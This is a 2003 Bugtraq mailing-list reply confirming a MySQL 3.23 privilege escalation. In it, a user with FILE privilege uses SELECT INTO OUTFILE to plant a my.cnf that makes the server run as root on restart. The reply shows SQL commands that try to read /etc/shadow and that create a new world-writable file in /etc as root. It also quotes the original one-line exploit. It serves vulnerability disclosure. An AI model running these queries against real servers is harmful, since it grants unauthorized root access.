bugtraq - Re: MySQL user can be changed to root

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Message-ID: <3E6CC7CC.3020307@nfg.nl>
Date: Mon, 10 Mar 2003 18:13:48 +0100
From: "Guido A.J. Stevens" <gyst@....nl>
To: "bugsman@...ero.it" <bugsman@...ero.it>
Cc: bugtraq <bugtraq@...urityfocus.com>, bugs@...ts.mysql.com,
	security@...ian.org
Subject: Re: MySQL user can be changed to root

I can confirm this privilege escalation in mysql-server   3.23.49-8.2 
(debian/stable on linux/i386). Any mysql user with file privileges can trick 
the mysql server into running as root on restart of the mysql subsystem.

Note that mysql prevents you from reading non-world-readable files outside 
the mysql data directory, or overwriting existing files. You can create new 
files as root, though.

mysql> load data infile '/etc/shadow' into table readtext;
ERROR 1085: The file '/etc/shadow' must be in the database directory or be 
readable by all
mysql> select * into outfile '/etc/somenewfile' from hack;
Query OK, 2 rows affected (0.00 sec)

-rw-rw-rw-    1 root     root           19 Mar 10 17:22 /etc/somenewfile

Not a rootshell, yet, but lots of new avenues from here.

:*CU#

bugsman@...ero.it wrote:

 > mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack

 > Now, when the mysql server will be restarted, the user option in our
 > datadir my.cnf will override the one in /etc/my.cnf and mysql server will
 > run as root

-- 
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